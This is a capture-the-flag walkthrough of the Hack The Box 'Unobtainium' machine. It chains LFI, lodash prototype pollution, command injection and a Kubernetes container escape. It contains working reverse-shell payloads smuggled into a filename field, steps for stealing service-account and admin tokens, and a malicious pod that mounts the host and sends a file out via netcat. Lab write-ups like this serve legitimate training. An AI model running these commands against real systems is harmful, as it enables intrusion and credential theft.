Hack The Box
Hack The Box: Unobtainium Walkthrough
An archived walkthrough of the retired Hack The Box Unobtainium machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Target IP: 10.129.136.226
Attacker IP: 10.10.16.84
Difficulty: Hard
OS: Linux
Tags: Kubernetes, Electron, Node.js, Prototype Pollution, Command Injection, Container Escape
The Hacker Mindset: Approach
Before we touch any commands, let's talk about mindset.
Unobtainium is a Hard Linux box. When you see a Hard box on HackTheBox, you should immediately think: "This won't be a simple CVE-to-shell. There will be multiple steps, and I need to chain vulnerabilities."
The attack surface here is broad:
- A website on port 80
- A Kubernetes cluster on port 8443
- A mysterious Node.js API on port 31337
- Multiple download packages (.deb, .rpm, .snap)
The hacker mindset: Don't just look for one vulnerability. Look for the relationships between components. The website offers downloads — those downloads are likely client software that talks to the API. If we can reverse the client, we can discover API endpoints, credentials, and vulnerabilities. Then we can attack the API, get a shell, and from inside the container, pivot to Kubernetes.
Rule of thumb: When a box gives you software to download, reverse it. It contains secrets.
Phase 1: Reconnaissance
Why Recon First?
You cannot attack what you don't understand. Reconnaissance is about building a map of the target. Every open port is a potential entry point. Every service banner is a clue. We need to be thorough because missing a port means missing an attack vector.
Step 1.1: Quick Port Scan
sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.129.136.226
What this does:
-p-scans all 65,535 TCP ports. Many beginners only scan top 1000 and miss services.--min-rate 10000sends packets fast to avoid timeouts.-oAsaves output in multiple formats for later reference.
Hacker mindset: We scan ALL ports because boxes like this often hide services on high ports (like 31337). The port name "Elite" is literally hacker culture — it's a signal.
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open https-alt
31337/tcp open Elite
Step 1.2: Service Version Detection
sudo nmap -p 22,80,8443,31337 -sCV 10.129.136.226
What this does:
-sCruns default NSE scripts that can extract banners, detect vulnerabilities, and enumerate services.-sVprobes versions so we can research known CVEs.
Key findings:
- Port 80: Apache httpd 2.4.41 — standard web server.
- Port 8443: Returns Kubernetes JSON responses (
"kind":"Status"). This is a Kubernetes API server. - Port 31337: Node.js Express framework with risky methods
PUTandDELETE.
Hacker mindset:
- Port 8443 is Kubernetes. Kubernetes means containers. Containers mean potential container escapes.
- Port 31337 with PUT/DELETE means a REST API. REST APIs often have broken authorization.
- The combination of a web server + Kubernetes + custom API screams: "There's an application running in containers, and I need to find a way in."
Step 1.3: Add Hosts to /etc/hosts
echo "10.129.136.226 unobtainium.htb" | sudo tee -a /etc/hosts
Why? The TLS certificates on port 8443 reference unobtainium and kubernetes.default.svc.cluster.local. The website may also use virtual hosts. Adding the hostname ensures we don't get SSL errors or miss virtual host-specific content.
Phase 2: The Electron App & Source Recovery
The Hacker Mindset: Reverse Everything They Give You
The website on port 80 advertises a chat application with three download buttons: Debian, RedHat, and Snap. This is a goldmine. When a target gives you software, they are giving you:
- The client-side source code (packed, but recoverable)
- Hardcoded credentials
- API endpoint documentation
- The exact protocol the client uses to talk to the server
Rule: Always reverse client software. Developers embed secrets in clients because they assume users won't look.
Step 2.1: Download the Debian Package
wget http://10.129.136.226/downloads/unobtainium_debian.zip -O unobtainium_debian.zip
unzip unobtainium_debian.zip
Why Debian?
We're on Kali (Debian-based). The .deb package format is trivial to unpack without installing. We could also analyze .rpm or .snap, but .deb is easiest for us.
Contents:
unobtainium_1.0.0_amd64.deb
unobtainium_1.0.0_amd64.deb.md5sum
Step 2.2: Extract the .deb Package
A .deb package is an ar archive containing three files:
debian-binary— package format versioncontrol.tar.gz— installation scripts and metadatadata.tar.xz— the actual files to install
ar x unobtainium_1.0.0_amd64.deb
tar xf data.tar.xz
Hacker mindset: We do NOT dpkg -i and install this on our system. That's dangerous and unnecessary. We only need to read the files, not execute them.
Step 2.3: Find the Electron Bundle
Electron apps bundle their JavaScript source into .asar files. Let's find it:
find . -name "*.asar"
# Output: ./opt/unobtainium/resources/app.asar
What is ASAR?
ASAR (Atom Shell Archive) is a simple tar-like archive format used by Electron. It's not compressed or encrypted — just packed. We can extract it with the asar Node.js tool.
Step 2.4: Extract the Source Code
# Install asar globally
sudo npm install -g asar
# Extract the app
asar extract ./opt/unobtainium/resources/app.asar ./app_source
Result: Full JavaScript source code of the client application.
Step 2.5: Analyze the Client Source
Let's look at the key files:
cat ./app_source/src/js/app.js
Discovery:
data: JSON.stringify({
"auth": null
"name": "felamos",
"password": null
},
"message": {
"text": message
}
})
BINGO. Hardcoded credentials. The client uses:
- Username:
felamos - Password: REDACTED
- Method:
PUTtohttp://unobtainium.htb:31337/
Also found in todo.js:
$.ajax({
url: 'http://unobtainium.htb:31337/todo',
type: 'post',
data: JSON.stringify({
"auth": null "felamos", "password": null},
"filename" : "todo.txt"
})
});
Hacker mindset: The client is a blueprint of the API. We now know:
- Authentication scheme (JSON body with name/password)
- Two endpoints:
PUT /andPOST /todo - The
/todoendpoint reads files — this smells like Local File Inclusion (LFI)
Phase 3: API Enumeration & Source Analysis
Step 3.1: Test the /todo Endpoint
curl -s http://10.129.136.226:31337/todo \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename" : "todo.txt"}'
Response:
{
"ok": true,
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function...\n7. Improve security\n"
}
Analysis: The /todo endpoint reads files from the application directory. The developers' todo list even mentions "Improve security" — ironic.
Step 3.2: Read the Server Source Code via LFI
Since /todo reads files by name, let's try to read index.js (the main server file):
curl -s http://10.129.136.226:31337/todo \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename" : "index.js"}' \
| jq -r '.content'
Critical discovery: We now have the entire server-side source code.
Step 3.3: Server Source Code Analysis
Key excerpts from the server code:
const _ = require('lodash');
const { exec } = require("child_process");
var root = require("google-cloudstorage-commands");
const users = [
{name: 'felamos', password: null},
{name: 'admin', password: null, canDelete: true, canUpload: true},
];
Observations:
lodashversion 4.17.4 — This is a KNOWN vulnerable version with prototype pollution in_.merge().google-cloudstorage-commandsversion 0.0.1 — A deprecated npm package that useschild_process.exec()with unsanitized input. Classic command injection.- The
adminuser hascanDelete: trueandcanUpload: true. Thefelamosuser does NOT have these.
The attack path crystallizes:
- Use Prototype Pollution to give
felamosthecanUpload: trueproperty. - Use the Command Injection in
/uploadto execute arbitrary commands.
Phase 4: Prototype Pollution Explained
What is Prototype Pollution?
JavaScript is a prototype-based language. Every object inherits from Object.prototype. If you can modify Object.prototype, you modify ALL objects in the runtime.
The _.merge() function in vulnerable lodash versions copies properties recursively. If you pass a payload like:
{
"__proto__": {
"canUpload": true
}
}
_.merge() will follow the __proto__ chain and set canUpload: true on Object.prototype. Every object now has canUpload: true.
Why Does This Work on Unobtainium?
Look at the server's PUT / handler:
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = { icon: '__' };
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
// ...
});
The req.body.message is attacker-controlled. We inject __proto__: {canUpload: true} into it. _.merge() pollutes the global prototype.
Later, when the /upload endpoint checks:
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
}
The user object (which didn't have canUpload before) now inherits it from the polluted prototype. Access granted.
Important caveat: The pollution only affects the Node.js process instance that handled our PUT request. If there are multiple backend instances (pods), we need to hit the same one with our /upload request. This is why we chain the requests quickly.
Phase 5: Command Injection Explained
The Vulnerable Code
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
What's google-cloudstorage-commands?
This deprecated npm package has an upload function:
function upload(inputDirectory, bucket, force = false) {
let _path = path.resolve(inputDirectory)
let _rn = force ? '-r' : '-Rn'
let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`)
// ...
}
The vulnerability: bucket (which is our filename) is passed directly into a shell command via exec(). No sanitization. No escaping.
If we send:
{"filename": "x; bash -c 'bash -i >& /dev/tcp/10.10.16.84/443 0>&1'"}
The executed command becomes:
gsutil -m cp -r -a public-read ./ x; bash -c 'bash -i >& /dev/tcp/10.10.16.84/443 0>&1'
The semicolon (;) terminates the gsutil command and starts our reverse shell.
Phase 6: Initial Foothold (User Flag)
Step 6.1: Start a Listener
nc -lnvp 443
Step 6.2: Chain the Exploit
We need to execute the prototype pollution and command injection quickly and on the same backend instance:
curl -s -X PUT http://10.129.136.226:31337/ \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "message": {"test": "x", "__proto__": {"canUpload": true}}}' \
&& curl -s -X POST http://10.129.136.226:31337/upload \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename": "x; bash -c \"bash >& /dev/tcp/10.10.16.84/443 0>&1\""}'
Why chain with &&? The prototype pollution effect is ephemeral. It only lasts for that Node.js process instance and can reset quickly. By chaining with &&, the second request fires immediately after the first completes.
If it fails (Access denied), the /upload hit a different backend pod. Just retry.
Step 6.3: Stabilize the Shell
python3 -c 'import pty;pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm
Step 6.4: Grab the User Flag
cat /root/user.txt
# 184995[redacted]f33e33a6
We're root... inside a container. hostname shows something like webapp-deployment-9546bc7cb-6r7sq. This is a Kubernetes pod name.
Phase 7: Kubernetes Enumeration
The Hacker Mindset: "I'm in a Container — Now What?"
When you get a shell and you're root but it doesn't feel like a real host, you're in a container. Containers have limited access to the host, but they often have service account tokens for the orchestrator (Kubernetes).
Rule: Always check /run/secrets/kubernetes.io/serviceaccount/ in containers.
Step 7.1: Find the Service Account Token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/namespace
# default
cat /run/secrets/kubernetes.io/serviceaccount/token
This JWT token is REDACTED key to the Kubernetes API.
Step 7.2: Test API Access
APISERVER=https://10.129.136.226:8443
SERVICEACCOUNT=/run/secrets/kubernetes.io/serviceaccount
TOKEN=REDACTED ${SERVICEACCOUNT}/token)
CACERT=${SERVICEACCOUNT}/ca.crt
curl -k --header "Authorization: Bearer REDACTED ${APISERVER}/api
Why the external IP? The internal cluster IP (10.96.0.1) timed out from our pod. But the Kubernetes API is also exposed externally on port 8443. The service account token works against both.
Step 7.3: Enumerate Namespaces and Pods
# List namespaces
curl -k --header "Authorization: Bearer REDACTED ${APISERVER}/api/v1/namespaces
# List pods in dev namespace
curl -k --header "Authorization: Bearer REDACTED ${APISERVER}/api/v1/namespaces/dev/pods
Key discovery: The dev namespace contains 3 pods:
devnode-deployment-776dbcf7d6-g4659@10.42.0.64devnode-deployment-776dbcf7d6-7gjgf@10.42.0.70devnode-deployment-776dbcf7d6-sr6vj@10.42.0.62
All running localhost:5000/node_server on port 3000.
Hacker mindset: The dev pods run the SAME node_server image as the webapp we just exploited. The developer reused the same vulnerable code in the dev environment. This is extremely common in real life — dev/staging/prod code parity means vulnerabilities often propagate across environments.
Phase 8: Lateral Movement to Dev Container
The Strategy
We have network access to the dev pods from our webapp container (same cluster network). The dev pods run the same Node.js app on port 3000. We will re-use the exact same exploit against an internal IP.
Step 8.1: Start Another Listener
nc -lnvp 4444
Step 8.2: Exploit the Internal Dev Pod
curl -s -X PUT http://10.42.0.64:3000/ \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "message": {"test": "x", "__proto__": {"canUpload": true}}}' \
&& curl -s -X POST http://10.42.0.64:3000/upload \
-H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename": "x; bash -c \"bash >& /dev/tcp/10.10.16.84/4444 0>&1\""}'
Result: Shell as root in devnode-deployment-776dbcf7d6-g4659.
Why did this work again? Same application, same vulnerabilities, no patch. Internal services are often less monitored and patched than public-facing ones.
Phase 9: Privilege Escalation via Kubernetes
The Hacker Mindset: "Different Container, Different Permissions"
Each pod has its own service account token with different Kubernetes RBAC permissions. The webapp container's token was limited. The dev container's token might have more access.
Rule: Always re-enumerate Kubernetes permissions from every new container.
Step 9.1: Check Permissions from Dev Container
TOKEN=REDACTED /var/run/secrets/kubernetes.io/serviceaccount/token)
# Can we list secrets in kube-system?
curl -k --header "Authorization: Bearer REDACTED \
https://10.129.136.226:8443/api/v1/namespaces/kube-system/secrets
BREAKTHROUGH: We can list secrets in kube-system! Among them is c-admin-token-b47f7.
Step 9.2: Extract the Admin Token
ADMIN_TOKEN=$(curl -k --header "Authorization: Bearer REDACTED \
https://10.129.136.226:8443/api/v1/namespaces/kube-system/secrets/c-admin-token-b47f7 \
| grep -o '"token": REDACTED]*"' | cut -d'"' -f4 | base64 -d)
Why base64 decode? Kubernetes stores secret values base64-encoded in the API response.
Step 9.3: Verify Admin Access
curl -k --header "Authorization: Bearer REDACTED \
https://10.129.136.226:8443/api/v1/namespaces/kube-system/pods
Result: Full pod listing. This token has cluster-admin privileges.
Phase 10: Root Flag
The Strategy
With cluster-admin access, we can create a privileged pod that mounts the host's root filesystem (/). This is the standard Kubernetes container escape technique.
Step 10.1: Start a Listener for the Flag
nc -lnvp 5555
Step 10.2: Create the Malicious Pod
We POST a Pod spec directly to the Kubernetes API:
curl -k --header "Authorization: Bearer REDACTED \
-H "Content-Type: application/json" \
-X POST \
https://10.129.136.226:8443/api/v1/namespaces/kube-system/pods \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "root-exfil"
},
"spec": {
"containers": [
{
"name": "evil",
"image": "localhost:5000/dev-alpine",
"command": ["/bin/sh"],
"args": ["-c", "cat /mnt/root/root.txt | nc 10.10.16.84 5555"],
"volumeMounts": [
{
"name": "hostfs",
"mountPath": "/mnt"
}
]
}
],
"volumes": [
{
"name": "hostfs",
"hostPath": {
"path": "/"
}
}
]
}
}'
Why localhost:5000/dev-alpine?
- The cluster has no internet access (can't pull from Docker Hub).
- We need an image that already exists on the node.
- The existing
backup-poduses this exact image, confirming it's available locally.
What this pod does:
- Creates a container using a local Alpine image
- Mounts the host filesystem
/to/mntinside the container - Runs
cat /mnt/root/root.txtand pipes it to our netcat listener
Step 10.3: Catch the Flag
On our listener:
connect to [10.10.16.84] from (UNKNOWN) [10.129.136.226] 43122
d1a073[redacted]bc323f9f17
Root flag: d1a073a[redacted]323f9f17
Key Lessons & Takeaways
1. Reverse Client Software
When a target gives you binaries/packages, reverse them. They contain API specs, credentials, and architecture details that save hours of blind fuzzing.
2. Prototype Pollution is Powerful
Modern JavaScript apps using _.merge(), _.defaultsDeep(), or similar functions on user input are vulnerable. If you see lodash < 4.17.12, investigate prototype pollution immediately.
3. Chain Low to High
- LFI → Read server source
- Source review → Find vulnerable libraries
- Prototype pollution → Escalate privileges
- Command injection → Get shell
4. Kubernetes = New Attack Surface
Inside a container? Look for:
/run/secrets/kubernetes.io/serviceaccount/token- Service account permissions vary by pod/namespace
- One pod's token might be limited; another's might be powerful
- With cluster-admin: create privileged pods to mount host filesystem
5. Reuse Exploits Internally
Dev/staging/prod environments often share vulnerabilities. If you exploit one service, test the same exploit against internal instances.
6. Local Images for Malicious Pods
When creating Kubernetes pods for escape, use images already cached on the node (kubectl get pods -o yaml | grep image:). The target likely has no outbound internet.
Commands Cheat Sheet
# Recon
nmap -p- --min-rate 10000 10.129.136.226
nmap -p 22,80,8443,31337 -sCV 10.129.136.226
# Extract .deb source
wget http://10.129.136.226/downloads/unobtainium_debian.zip
unzip unobtainium_debian.zip
ar x unobtainium_1.0.0_amd64.deb && tar xf data.tar.xz
asar extract ./opt/unobtainium/resources/app.asar ./app_source
# Read server source via LFI
curl -s http://10.129.136.226:31337/todo -H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename": "index.js"}'
# Exploit chain (foothold)
curl -s -X PUT http://10.129.136.226:31337/ -H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "message": {"test": "x", "__proto__": {"canUpload": true}}}' \
&& curl -s -X POST http://10.129.136.226:31337/upload -H "Content-Type: application/json" \
-d '{"auth": null "felamos", "password": null}, "filename": "x; bash -c \"bash >& /dev/tcp/10.10.16.84/443 0>&1\""}'
# Kubernetes enumeration from container
TOKEN=REDACTED /run/secrets/kubernetes.io/serviceaccount/token)
curl -k --header "Authorization: Bearer REDACTED https://10.129.136.226:8443/api/v1/namespaces/dev/pods
# Admin token extraction
ADMIN_TOKEN=$(curl -k --header "Authorization: Bearer REDACTED \
https://10.129.136.226:8443/api/v1/namespaces/kube-system/secrets/c-admin-token-b47f7 \
| grep -o '"token": REDACTED]*"' | cut -d'"' -f4 | base64 -d)
# Create malicious pod
curl -k --header "Authorization: Bearer REDACTED -H "Content-Type: application/json" \
-X POST https://10.129.136.226:8443/api/v1/namespaces/kube-system/pods \
-d '{...pod spec...}'
End of Walkthrough
Machine: Unobtainium
User Flag:1849951[redacted]33e33a6
Root Flag:d1a073[redacted]323f9f17